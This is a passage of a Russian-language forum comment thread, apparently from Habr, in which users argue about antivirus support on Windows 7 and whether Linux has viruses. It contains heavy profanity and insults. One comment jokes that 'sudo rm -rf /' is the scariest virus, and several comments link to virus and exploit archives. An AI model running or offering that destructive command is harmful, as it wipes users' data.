IT.<br/>\r\nПаразиты существовали… существуют и будут существовать… почти в любой сложной системе.<br/>\r\n<br/>\r\nВо-вторых, тупорылый быдлан, если тебя в школе не учили, чем материальное взаимодействие отличается от информационного — то это твои быдланские проблемы.<br/>\r\nС тобой даже можно было бы даже согласиться, если задача компьютерных вирусов была бы выживание за счет вычислительных ресурсов, но они в первую очередь занимаются сбором, уничтожением и модификацией информации (и вовсе не для выживания, нет), соответственно термин «паразитирование» к ним не применим.<br/>\r\n<br/>\r\n>В любой современной ОС возможно существование паразитов… ну разве что уж совсем примитивных.<br/>\r\n<br/>\r\nСказал — как в лужу пернул. Для Linux вирусов нет. Для AS/400 вирусов нет. Для Юниксов вирусов нет. Не знаю, есть ли они на Маках, но подозреваю, что тоже нет, ибо *BSD. Вирусы — чисто виндовая болезнь.<br/>\r\n<br/>\r\n</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Может. Но если она не модная — его минусуют</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Norton 360 — а остальные 5(6) дней в году он систему не защищает?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">А вот ху*ни не надо.<br/>\r\n<br/>\r\n<a href=\"http://en.wikipedia.org/wiki/Rootkit\">Руткиты вообще изначально на юниксе появились</a> + на данный момент зарепорчено <a href=\"http://en.wikipedia.org/wiki/List_of_Linux_computer_viruses\">~25 вирусов</a> под Linux, и если нужно будет напишут еще 2500.<br/>\r\n<br/>\r\nВирус — это вредоносное ПО, а между простым ПО и вредоносным — 1 шаг, вы даже не сразу поймете, что вы только что запустили через sudo.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">↑ Достойный диалог двух IT-специалистов.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">какая-то воздушная шутка</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Добавил Dr.Web ;) <br/>\r\nСпасибо за наводку.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Достали с хвалами W7, никто толком не пользовались, а все хвалят.<br/>\r\nАнтивирусы не работают только по незнанию/глупости програмистов (как и многие дрова автоматом не ставятся) пару байт поменять и все заработало бы.<br/>\r\n<br/>\r\nУважаю W7 только за теоретически большую технологичность (большее отделение GDI от ядра) и частично лучший интерфейс.<br/>\r\nНо пока на замену XP не очень тянет. Лучше висты, но не быстрее XP. Явно видно на слабых компах.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">я думаю имеется в виду 360 градусов… ;)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">> Долго ржал…<br/>\r\nvx.netlux.org/vl.php<br/>\r\n<br/>\r\n>А как же классика Вирус Морриса? <br/>\r\nВот их 20-30 штук<br/>\r\n<br/>\r\n> 2-3 есть…<br/>\r\n<br/>\r\nТы специально херню несешь? Сколько из них запустятся на современных системах? И сколько из них не надо компилить вручную «по приколу»?<br/>\r\nКак можно сравнивать даже несколько сотен вирусов (включая древнее гавно мамонта и игрушки для красноглазиков) и десятки и сотни тысяч вирусов под винду?<br/>\r\n<br/>\r\n> Особенно учитывая мобильные платформы включая Symbian.<br/>\r\nИ не менее 10000 под MsDos.<br/>\r\nИ несколько даже под спектрум Z80<br/>\r\nТак же под OS/2 ,QNX и пр. включая экзотику SAP R/3 на ABAP писанный.<br/>\r\n<br/>\r\nТы издеваешься, да?<br/>\r\n<br/>\r\nВесь твой высер рушится об очевидные факты:<br/>\r\n1. Для каждой нормальной системы число вирусов исчисляется максимум сотнями, а под винду их тысячи и тысячи.<br/>\r\n2. В любой нормальной системе нет понятия «антивирус», а уязвимости обнаруживаются и закрываются достаточно быстро. В винде он мало того что есть, так еще и за деньги. Это из серии «1000 способов сравнительно честного отъема денег у населения».<br/>\r\n</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">> Руткиты вообще изначально на юниксе появились <br/>\r\n<br/>\r\nКогда это было?<br/>\r\n<br/>\r\n> + на данный момент зарепорчено ~25 вирусов под Linux<br/>\r\n<br/>\r\nЭто охуенно много. Сколько из них не надо компилить вручную?<br/>\r\n<br/>\r\n> и если нужно будет напишут еще 2500.<br/>\r\n<br/>\r\nТолько не пишут, гады.<br/>\r\n<br/>\r\n> Вирус — это вредоносное ПО, а между простым ПО и вредоносным — 1 шаг, вы даже не сразу поймете, что вы только что запустили через sudo.<br/>\r\n<br/>\r\nВероятность схватить вирь на никсах/БСД минимальная. Единственный реальный вариант — непреднамеренная ошибка в какой-нибудь программе, которую все проморгали.<br/>\r\n<br/>\r\n</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Чувствуется новая архитектура AVG :)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><i>>на данный момент зарепорчено ~25 вирусов под Linux</i><br/>\r\n<br/>\r\nСколько из них хотя бы <i>соберётся</i> на современном дистре (я уже не спрашиваю о том, сколько из них <i>заработает</i>?<br/>\r\n<br/>\r\n<i>>и если нужно будет напишут еще 2500.</i><br/>\r\n<br/>\r\n— Да я если захочу — у меня завтра же Феррари будет?<br/>\r\n— Ну а почему тогда у тебя её нет?<br/>\r\n— А потому что я не хочу!<br/>\r\n<br/>\r\nКогда наступит это самое «если нужно будет»? Серверов под Линуксом — хоть Камазами вывози. Выгода от их инфицирования — на порядки выше, чем от десктопа Васи Пупкина. А вирусов как не было — так и нет.<br/>\r\n<br/>\r\nХотя не, бывают. Я помню, как сам комрадо Линус патчил ядро чтобы какой-то вирус собрался и заработал.<br/>\r\n<br/>\r\n<i>>Вирус — это вредоносное ПО, а между простым ПО и вредоносным — 1 шаг, вы даже не сразу поймете, что вы только что запустили через sudo.</i><br/>\r\n<br/>\r\nСамый страшный вирус — это sudo rm -rf /.<br/>\r\nНо может мы не будем валить в одну кучу уязвимости непосредственно системы и кисель в головах пользователей?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">> Мистер зеленая сопля. <br/>\r\n<br/>\r\nТы что-то многоточия перестал ставить после предложений — протрезвел?<br/>\r\n<br/>\r\n> В биосистемах происходит именно информационное взаимодействие ДНК, РНК, перенос генов Ti — плазмидами и пр.<br/>\r\n<br/>\r\nЧисто информационных взаимодействий в организме намного меньше чем, химических (материальных). В лбом случае, это неважно. КВ нельзя считать паразитом.<br/>\r\n<br/>\r\n> При чем здесь выживание ???<br/>\r\n<br/>\r\nА для чего вирусу гриппа лезть в твой организм? Потому что там тепло и много еды, можно как следует расплодиться.<br/>\r\nКомпьютерный вирус работает для того, чтобы нанести экономический ущерб, распространить рекламу, или выкрасть данные. Сосуществование является средством, а не целью. Как только он свою задачу выполняет/появляется эффективная защита от него — он больше не нужен, его без сожаления выбрасывают. <br/>\r\n<br/>\r\nЯ уж промолчу про то, как ты прикрутил данное тобой определение к КВ.<br/>\r\n<br/>\r\n> Чиновник тоже паразит хотя взятки берет не от того что выживает…<br/>\r\n<br/>\r\nОпять таки, как ты прикрутил свое определение к данному явлению?<br/>\r\nЭкономический паразитизм не ставит целью выживание, он ставит целью повышение личного благосостояния, не производя полезный продукт.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">> Обосрался но признать не хотим?<br/>\r\n> Да неебет сколько запустится. Они сушествуют и это ФАКТ!<br/>\r\n<br/>\r\nЯ это признаю, когда ты расскажешь сколько из них выполняют то, ради чего написаны, ибо неработающий вирус — не вирус. Далее, архитектурно оно если и возможно, то дырку быстро залатают, вместо того, чтобы доить из бедного юзера бабки.<br/>\r\n<br/>\r\n> Можеш лить слюнями сколько угодно но ты ОБОСРАЛСЯ со своими заявами и это ФАКТ!<br/>\r\n<br/>\r\nОттого, что ты пишешь желаемое большими буквами оно реальнее не станет, нет. </div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">В висте еще были сложности с тем что приложения по старой памяти полагают что они могут писать в папку с софтом и решение эьтой проблемы было положено на разработчиков софта. В 7 ситуация как-нибудь изменилась? Я честно говоря, смутно представляю как это может решить ос, но в MS то их много )</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><blockquote>Сколько из них хотя бы соберётся на современном дистре (я уже не спрашиваю о том, сколько из них заработает?</blockquote><br/>\r\nНе знаю — попробуйте, ссылка была дана для того, чтобы показать, что вирусы под *никс есть, и «не убогая архитектура» не помогла.<br/>\r\n<br/>\r\n<blockquote>Выгода от их инфицирования — на порядки выше, чем от десктопа Васи Пупкина</blockquote><br/>\r\nВы не понимаете, для чего создаются вирусы. 20 000 инфицированных виндовых воркстейшенов намного выгоднее чем один хрен пойми чей сервер под бсд. Все китайские ботнеты ориентированы на виндовые машины за которыми сидят обычные пользователи, потому что их заразить в 1000 раз проще чем сервер за которым следит квалифицированный администратор. Туда же — 20000 айсикью аккаунтов + 20000 адресных книг почтовых клиентов и спам, спам, много спама. <br/>\r\n<br/>\r\nКороче — этот никсовый сервер нахрен никому не нужен. Вот когда нужно будет повалить 20000 линуксовых воркстейшенов — тогда всё и напишут. Это сейчас китайцы переписывают винапи, а если нужно будет они настрогают вам необходимое количество троянов и другой нечести под линукс.<br/>\r\n<br/>\r\n<blockquote>Но может мы не будем валить в одну кучу уязвимости непосредственно системы и кисель в головах пользователей?</blockquote><br/>\r\nНа эту тему можно достаточно долго беседовать, вирусов, которые используют уязвимости операционной системы в стопицод раз меньше, чем те, которые используют уязвимость в ДНК человека, да и комментарий мой был не об этом, а том, что отсутствие вирусов под линукс из-за якобы «архитектуры» системы — это миф.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Интересна судьба Outpost Antivirus. Под Вистой 64 отлично работает, что не удивительно. В новой винде?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Я через 10 пришел.<br/>\r\nНадо было просто работать, а не как обычно…<br/>\r\n<br/>\r\nПо теме — Win7 стоит в VirtualBox и на соседнем тестовом компьютере.<br/>\r\nХороша. Но ClamWin я поставил, на всякий :)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Блин. Через 10 лет использования FreeBSD и Linux.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Меня улыбнуло, что сообщения про компоненты самой системы оно говорит, что «от неизвестного поставщика».</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Не надо задавать мне вопросов, просто прочитайте еще раз внимательно мой комментарий, потом свой, потом ещё раз мой и просто осознайте что-нибудь.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><i>>Не знаю — попробуйте, ссылка была дана для того, чтобы показать, что вирусы под *никс есть, и «не убогая архитектура» не помогла.</i><br/>\r\n<br/>\r\nВы серьёзно считаете, что с тех пор, как были написаны эти вирусы, в Линуксе ничего не улучшилось с точки зрения безопасности (я не имею в виду закрытие уязвимостей)?<br/>\r\n<br/>\r\n<i>>Туда же — 20000 айсикью аккаунтов + 20000 адресных книг почтовых клиентов и спам, спам, много спама.<br/>\r\n<br/>\r\nКороче — этот никсовый сервер нахрен никому не нужен</i><br/>\r\n<br/>\r\nДействительно, кому нахрен нужен никсовый сервер, на котором хранится база почтовых аккаунтов размером в десятки тысяч? Та же гора спама. Но вот написать под Винду — куда проще. О том и речь.<br/>\r\n<br/>\r\n<i>>да и комментарий мой был не об этом, а том, что отсутствие вирусов под линукс из-за якобы «архитектуры» системы — это миф.</i><br/>\r\n<br/>\r\nВы всерьёз будете отрицать, что архитектуры Виндовса и Линукса предоставляют <i>слегка разные</i> возможности для вирьмейкерства, и будете всерьёз утверждать, что единственная причина отсутствия вирусов — малая распространённость?<br/>\r\n<br/>\r\nДа и о чём мы вообще говорим? О технической возможности заразить ELF? Дык ежу понятно, что она есть. Но ведь это ещё не всё, правда же? Для инфицирования работающей системы этого явно недостаточно. А давайте-ка пройдёмся по списку вирусов по приведённой Вами ссылке (их там, кстати, 22, а не 25). Начинаем по порядку:<br/>\r\n<br/>\r\n«Virus.Linux.Alaeda<br/>\r\nAlaeda is a non-resident virus. It infects systems running Linux, and is written in Assembler. It infects ELF format files in the current directory.»<br/>\r\n<br/>\r\nАга. Скачать, дать права на исполнение, запустить. Понятно.<br/>\r\n<br/>\r\n«SB.Badbunny, a fairly novel OpenOffice macro virus that attempts to spread via IRC.… Badbunny doesn't just use the OpenOffice macro language, but has components written in Ruby, JavaScript, Python and Perl.»<br/>\r\n<br/>\r\nТ.е. я должен иметь у себя установленным весь этот комплект, да? Понятно.<br/>\r\n<br/>\r\n«Linux/Binom<br/>\r\n…<br/>\r\nELF type viruses are very specific with regards to operating system type/kernel/version so the chance that the virus will effectively infect other binary files is pretty low.<br/>\r\n…<br/>\r\nMethod of Infection — * Manual execution of the binary ELF file.»<br/>\r\n<br/>\r\nОпять самому скачать, дать права на исполнение и запустить руками?<br/>\r\n<br/>\r\nМдя. Что-то мне и читать-то дальше расхотелось. Ничего интересного…</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">меня поражает точка зрения: виста тормозит, windows 7 тормозит на моём железе. а у меня 386-й на шкафу лежит. там только 95-й более менее хорошо работает. ну а 3.11 — вообще летает.<br/>\r\nпочему если новая ОС требует современного железа, то это дерьмо, а если для новой игрушки нужен новый комп — то это в порядке вещей?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">как-то странно оно все.<br/>\r\nУ меня (и у знакомых) Доктор веб = Синий Экран Любви<br/>\r\nкасперский — поставился, работал, но ноут уходил в зависание очень часто. Удалил — все норм.<br/>\r\n<br/>\r\nстранно как-то оно…<br/>\r\n</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Смысл твоего комментария в том, что ты решил мне предъявить древнее говно мамонта в виде когда-то написанного руткита под юникс и 25 нерабочих вирусов.<br/>\r\nМне не интересно говно мамонта. Мне интересно какую угрозу они представляют сейчас (а они никакой угрозы не представляют, использованные ими дыры давно закрыты). <br/>\r\nДалее, я никогда не утверждал, что под юниксы невозможно написать вирус, я лишь констатировал, что в данных момент вирусов под них нет (ведь нерабочий вирус — это не вирус). Цитирую сам себя:<br/>\r\n<br/>\r\n> Для Linux вирусов нет. Для AS/400 вирусов нет. Для Юниксов вирусов нет. Не знаю, есть ли они на Маках, но подозреваю, что тоже нет, ибо *BSD.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><blockquote>я никогда не утверждал, что под юниксы невозможно написать вирус, я лишь констатировал, что в данных момент вирусов под них нет (ведь нерабочий вирус — это не вирус)</blockquote><br/>\r\nопаньки какая нелепая отмаза пришла, а чуть выше вы писали про некую убогую архитектуру <br/>\r\n<blockquote>Вирусы — чисто виндовая болезнь.</blockquote><br/>\r\nа вот этот п… жь как объяснить?<br/>\r\n<blockquote>25 нерабочих вирусов.</blockquote><br/>\r\nвы их все попробовали уже и все 25 нерабочих? вы нихера не понимаете например что такое бекдор, его нужно только запустить и ему похер на текущую версию ядра — он все необходимые данные с вашего компьютера вышлет куда надо.<br/>\r\n<br/>\r\nсоплю всё же подотрите.<br/>\r\n</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><blockquote>Вы серьёзно считаете, что с тех пор, как были написаны эти вирусы, в Линуксе ничего не улучшилось с точки зрения безопасности (я не имею в виду закрытие уязвимостей)?</blockquote><br/>\r\nБля, там 2 бекдора — почитайте хотя бы как они работают им глубоко похер на уязвимости или версию самого ядра. <br/>\r\n<br/>\r\n<blockquote>Действительно, кому нахрен нужен никсовый сервер, на котором хранится база почтовых аккаунтов размером в десятки тысяч? Та же гора спама. Но вот написать под Винду — куда проще. О том и речь.</blockquote><br/>\r\nесли он кому-то станет нужен — его будут ломать целенаправленно, сейчас намного выгоднее запустить троянчика на 20000 машин чтобы потом с них рассылать спам и ддосить произвольные веб-ресурсы. Причем чтобы заразить 20000 машин нужно послать троян 500 тысячам виндовс пользователей — ессно их найти намного проще, чем 500 тысяч десктопных машин с линуксом.<br/>\r\n<br/>\r\n<blockquote>Вы всерьёз будете отрицать, что архитектуры Виндовса и Линукса предоставляют слегка разные возможности для вирьмейкерства, и будете всерьёз утверждать, что единственная причина отсутствия вирусов — малая распространённость?</blockquote><br/>\r\nЭто не единственная причина, есть еще вторая — централизованная установка программ из репозиториев, ведь словить оттуда вирусняк практически нереально. На этом разница между линукс и виндовс (последние версии) для вирьмейкера _заканчивается_. Архитектура — это миф, еще раз повторю.<br/>\r\n<br/>\r\n<blockquote>Да и о чём мы вообще говорим? О технической возможности заразить ELF? Дык ежу понятно, что она есть</blockquote><br/>\r\nКак видно из комментариев это понятно не всем ежам, я выше пытаюсь одному из них это объяснить. А вы мне все пытаетесь уязвимостями в самих ОС тыкать =) Вот вам информация для изучения <a href=\"http://www.securitylab.ru/analytics/360135.php\">1</a> и <a href=\"http://www.securitylab.ru/analytics/312345.php\">2</a> — ищите там уязвимости в компонентах\\ядрах ОС. Сравните проценты.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">> опаньки какая нелепая отмаза пришла, а чуть выше <br/>\r\n<br/>\r\nЧто тебе показалось в моих словах — твои личные проблемы, меня они не нисколько не ебут; я имел ввиду именно то, что написал. Пока ты демонстрируешь типично быдляцкое поведение: искажаешь смысл чужих слов, а потом яростно их разоблачаешь.<br/>\r\n<br/>\r\n> вы писали про некую убогую архитектуру <br/>\r\n<br/>\r\nА она убогая. Когда сидеть под администраторским аккаунтом в системе считается нормальным, а глючный драйвер принтера способен вызвать синий экран — это ненормальная архитектура.<br/>\r\n<br/>\r\n> а вот этот п… жь как объяснить?<br/>\r\n<br/>\r\nПредъявить рабочий вирус под линь.<br/>\r\n<br/>\r\n> вы их все попробовали уже и все 25 нерабочих? <br/>\r\n<br/>\r\nПробовать их запустить должен ты, поскольку именно ты про эти вирусы написал.<br/>\r\n<br/>\r\n> вы нихера не понимаете например что такое бекдор, его нужно только запустить<br/>\r\n<br/>\r\nБгагага, и как же его запустить без ведома пользователя? Не под рутом он за пределы домашнего каталога не выйдет, а нормальный человек с правами рута никогда не запустит то, что не ставил сам. Здесь причина заражения человеческий фактор, а не дырявость ОС.<br/>\r\n<br/>\r\n> соплю всё же подотрите.<br/>\r\n<br/>\r\nСосни хуйца, быдло.<br/>\r\n<br/>\r\n> и ему похер на текущую версию ядра — он все необходимые данные с вашего компьютера вышлет куда надо.<br/>\r\n</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Не хочет запускаться AVG 8 на Windows 7 64 bit… :(</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><i>>Бля, там 2 бекдора — почитайте хотя бы как они работают им глубоко похер на уязвимости или версию самого ядра. </i><br/>\r\n<br/>\r\nВы, по-моему, не поняли смысл того, что процитировали при написании этого.<br/>\r\n<br/>\r\n<i>>Архитектура — это миф, еще раз повторю.</i><br/>\r\n<br/>\r\nПовторять можно что угодно и сколько угодно, вот только не всегда это имеет смысл.<br/>\r\n<br/>\r\n<i>>А вы мне все пытаетесь уязвимостями в самих ОС тыкать =)</i><br/>\r\n<br/>\r\nЯ? И где же, интересно? Слово «уязвимость» я, по-моему, употребил 1 раз: во фразе «я <b>не</b> имею в виду закрытие уязвимостей».<br/>\r\n<br/>\r\n<i>>Вот вам информация для изучения 1 и 2 — ищите там уязвимости в компонентах\\ядрах ОС. Сравните проценты. </i><br/>\r\n<br/>\r\nНу хорошо, раз Вы хотите поговорить об уязвимостях — давайте поговорим. Вы, кстати, сами по ссылкам ходили, сравнивали? :)<br/>\r\nПо первой ссылке:<br/>\r\n<img src=\"https://habrastorage.org/getpro/geektimes/comment_images/a4a/bf3/60f/a4abf360fb4b4d85e7bd57a700969683.gif\" data-src=\"https://habrastorage.org/getpro/geektimes/comment_images/a4a/bf3/60f/a4abf360fb4b4d85e7bd57a700969683.gif\"/><br/>\r\n<br/>\r\nПо количеству уязвимостей разные Винды и ядро 2.6 примерно равны, да. А вот на цвета Вы кажется не обратили внимания. И на ядро 2.4, видимо, тоже. И не нужно говорит, что оно, мол старое. Ядро 2.6 вышло в 2003 году. А в обзоре участвуют Вин2000 и ВинХР, выпущенные раньше, так что ядро 2.4 вполне имеет право участвовать в сравнении наравне со всеми.<br/>\r\n<br/>\r\nПо второй ссылке «Уязвимости в ядрах ОС за 2007 год». Давайте сравним.<br/>\r\nПоказатели: максимальная опасность (низкая/средняя/высокая/критическая), количество уязвимостей, количество исправленных уязвимостей.<br/>\r\nLinux kernel: Средняя, 35, 35<br/>\r\nLinux Debian: Низкая, 1, 1<br/>\r\nLinux Fedora: Низкая, 4, 4<br/>\r\nGentoo Linux: Высокая, 7, 7<br/>\r\nLinux Red Hat: Низкая, 6, 6<br/>\r\nSuSE Linux: Низкая, 1, 1<br/>\r\nLinux rPath: Низкая, 2, 2<br/>\r\nUbuntu Linux: Низкая, 1, 1<br/>\r\nMicrosoft Windows Vista: Критическая, 18, 16<br/>\r\nMicrosoft Windows 2003: Критическая, 33, 30<br/>\r\nMicrosoft Windows XP: Критическая, 35, 29<br/>\r\nMicrosoft Windows 2000: Критическая, 28, 26<br/>\r\n<br/>\r\nЯ не знаю, что такое этот мифический «Linux kernel» (подозреваю, что ванильное ядро с kernel.org, которое используют разве что кулхацкеры, которым неймётся). По «человеческим» дистрибутивам (давайте будем честными: участие в обзоре Gentoo выглядит как-то странно. Давайте ещё Слакварь приравняем к Windows Server или RHEL) статистика такова: по Линуксам максимальная опасность — <b>низкая</b>,<br/>\r\nколичество уязвимостей — <b>от 1 до 6</b>, незакрытых уязвимостей —.<br/>\r\nПо Виндам статистика слегка другая: максимальная опасность — <b>критическая</b>, количество уязвимостей — <b>от 18 до 35</b>, незакрытых уязвимостей — от <b>2 до 6</b>.<br/>\r\n<br/>\r\nИ?<br/>\r\n<br/>\r\nP.S.: спасибо за ссылки, ушли в закладки как раз для таких случаев ;)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">А вот некоторые предпочитают с людми.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Kim, бесполезно объяснять человеку все прелести настройки линукс, если тот осилил только Gnome :-P © ibash.org.ru</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Мусье не поняли моей самоиронии?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Я не собирался и не хочу обсуждать качество уязвимостей в компонентах ОС, ссылки были даны лишь для того, чтобы показать вам, что<br/>\r\n<br/>\r\n1) уязвимостей в системе с «идеологически верной» архитектурой как грязи<br/>\r\n2) как только линукс станет достаточно популярен и китайцы возьмутся за него — доля критических уязвимостей начнет потихоньку расти, поскольку их начнут лучше искать<br/>\r\n<br/>\r\nоднако вы надеялись, что вам начну доказывать что виндовс более защищенная и безопасная система, чем линукс. нет, не буду =)<br/>\r\n<br/>\r\n<blockquote>И?</blockquote><br/>\r\nи давайте уже подведем итоги нашей дискуссии:<br/>\r\n— вирусы под линукс — не миф<br/>\r\n— архитектура — миф (каких-то аргументов против этого я не увидел)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">только касперский. работает вроде стабильно.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><i>>Я не собирался и не хочу обсуждать качество уязвимостей в компонентах ОС</i><br/>\r\n<br/>\r\nЯ тоже не собирался, поэтому сразу «отделил» эту тему, но Вы таки на неё перешли. А теперь говорите, что не хотите её обсуждать %)<br/>\r\n<br/>\r\n<i>>ссылки были даны лишь для того, чтобы показать вам, что<br/>\r\n<br/>\r\n1)уязвимостей в системе с «идеологически верной» архитектурой как грязи</i><br/>\r\n<br/>\r\nВы вообще о чём? о_О<br/>\r\nАрхитектура системы и уязвимости в её компонентах — вещи слегка ортогональные.<br/>\r\n<br/>\r\n<i>>как только линукс станет достаточно популярен и китайцы возьмутся за него — доля критических уязвимостей начнет потихоньку расти, поскольку их начнут лучше искать</i><br/>\r\n<br/>\r\nРассуждения из серии «если бы да кабы» не имеют под собой основания в 100% случаев.<br/>\r\n<br/>\r\n<i>>вирусы под линукс — не миф</i><br/>\r\n<br/>\r\nДа, под Линукс существуют вредоносные программы, которые при ручном запуске чего-то делают с файлами, на которые у них хватает прав доступа. А при запуске от рута даже корёжат системные файлы. Но самой страшной из таких программ всё равно остаётся rm, котарая установлена на 100% машин с Линуксом.<br/>\r\n<br/>\r\n<i>>архитектура — миф (каких-то аргументов против этого я не увидел) </i><br/>\r\n<br/>\r\nА Вам не кажется, что аргументы должен предоставлять тот, кто что-то утверждает? А то у нас получается «Существование розовых слонов — факт. Каких-то аргументов против этого я не увидел».<br/>\r\n<br/>\r\nА вся ваша аргументация в данной ветке заключается в следующем:<br/>\r\n1. \"… отсутствие вирусов под линукс из-за якобы «архитектуры» системы — это миф. \"<br/>\r\n2. «Архитектура — это миф, еще раз повторю.»<br/>\r\n3. «архитектура — миф (каких-то аргументов против этого я не увидел)»<br/>\r\n<br/>\r\n</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><blockquote>Вы вообще о чём? о_О<br/>\r\nАрхитектура системы и уязвимости в её компонентах — вещи слегка ортогональные.</blockquote><br/>\r\nАрхитектура->ядро->уязвимости (не вижу смысла здесь придираться к словам — по-моему понятно что имеется ввиду)<br/>\r\n<br/>\r\n<blockquote>Рассуждения из серии «если бы да кабы» не имеют под собой основания в 100% случаев.</blockquote><br/>\r\nЗабавная статистика =) В своё время я работал над одним антивирусным продуктом и через мои руки прошли несколько тысяч самых популярных вирусов под виндовс + я некоторое время пользовался РХ7 и Убунту8.10. Ну так вот где-то 20% вирусов необходимо запустить под администратором (под виндовс ХР — это самый распространенный юзер в то время, а висты тогда еще не было), где-то 70% — это «стандартные» трояны-бекдоры\\адваре, которым не нужно было админских прав для запуска. Они просто тупо прописывались в автозапуск, сидели потихоньку и http запросами (как понимаете по 80 порту) посылали частные данные (как я уже называл — всякие ICQ аккаунты + адресбук почтовика) пользователя на удаленный сервер и так же периодически принимали от него задание на текущий день (например потроллить хттп запросами какой-нибудь ресурс), адваре же тупо показывало рекламные попапы и запускало эксплорер с разного вида сайтами. ~10% — это вирусы использовавшие различного рода уязвимости в компонентах ОС или стороннем софте, причем где-то 8% использовало одну и ту же уязвимость.<br/>\r\n<br/>\r\nОсновываясь на своём опыте работы с линукс я утверждаю — что вышеописанные 70% можно переписать под линукс и они будут там жить и действовать, потому что работать они там не будут только в том случае, если пользователь их запустивший не имеет почти никаких прав. <br/>\r\n<br/>\r\nДалее, я так утверждаю, что когда линукс займет хотя бы 20% от десктопного рынка компьютеров, вышеописанные 10% там тоже появятся и <a href=\"http://milw0rm.com/platforms/linux\">вот этот</a> список будет намного больше. Это мои прогнозы в том случае, если линукс как дестоп действительно выйдет в люди.<br/>\r\n<br/>\r\n</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Бета Касперский 8 для Windows7 у меня работает, но после его установки новые вкладки в IE открываются с задержкой секунд 5.<br/>\r\n<br/>\r\nСнес нафиг.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">NOD32 3.0.669.0 работает.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Нет. Всё серьёзно.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">>> Снес нафиг. <br/>\r\n<br/>\r\nНадеюсь вы про IE ;)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><i>>Архитектура->ядро->уязвимости (не вижу смысла здесь придираться к словам — по-моему понятно что имеется ввиду)</i><br/>\r\n<br/>\r\nЭто не «придирки к словам», это принципиально разные предметы для обсуждения. При одной и той же архитектуре можно написать ядро как с единицами уязвимостей, так и с сотнями.<br/>\r\n<br/>\r\nВ общем, я Вас понял. Лучшее, на что я могу рассчитывать — ещё пару раз услышать «архитектура — миф», и «как только — так сразу всё будет».<br/>\r\n<br/>\r\n<i>>Это мои прогнозы в том случае, если линукс как дестоп действительно выйдет в люди.</i><br/>\r\n<br/>\r\nОн давно там. Посмотрите хотя бы на рынок нетбуков.<br/>\r\n<br/>\r\nP.S.: а за ссылки всё равно спасибо ;) Я теперь знаю, что в используемом мной дистрибутиве (Debian) за целый год (2007-й) уязвимостей было обнаружено «как грязи» — аж целая одна %)<br/>\r\nДа, кстати, а за 2008-й год подобную статистику ещё не подбили? Чрезвычайно интересно было бы посмотреть…</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><blockquote>Это не «придирки к словам», это принципиально разные предметы для обсуждения. При одной и той же архитектуре можно написать ядро как с единицами уязвимостей, так и с сотнями.</blockquote><br/>\r\nвозможно всё, но этого не было сделано<br/>\r\n<br/>\r\n<blockquote>В общем, я Вас понял. Лучшее, на что я могу рассчитывать — ещё пару раз услышать «архитектура — миф», и «как только — так сразу всё будет».</blockquote><br/>\r\nя в своем комменте популярно объяснил, что архитектура линукса не мешает существованию вирусов на ней (я сам могу написать несколько за деньги), а вы не можете понять, что вирусы гробящие систему на корню — это антиквариат и никому сейчас не нужны.<br/>\r\n<br/>\r\n<blockquote>Он давно там. Посмотрите хотя бы на рынок нетбуков</blockquote><br/>\r\nне надо туда смотреть, надо смотреть на <a href=\"http://www.w3counter.com/globalstats.php\">общий процент</a>, который даже до 3х не дорос (интересно как вы теперь будете трактовать приведенную мной ссылку =)<br/>\r\n<br/>\r\n<blockquote>а за ссылки всё равно спасибо ;) Я теперь знаю, что в используемом мной дистрибутиве (Debian) за целый год (2007-й) уязвимостей было обнаружено «как грязи» — аж целая одна %)</blockquote><br/>\r\nвообще-то на милворме публикуются доступные эксплойты, а не уязвимости =) ну вы то конечно мастак выводы с свою пользу делать.<br/>\r\n<br/>\r\nКстати последний эксплойт для дебиана там от 6 января сего года.</div>", "<div 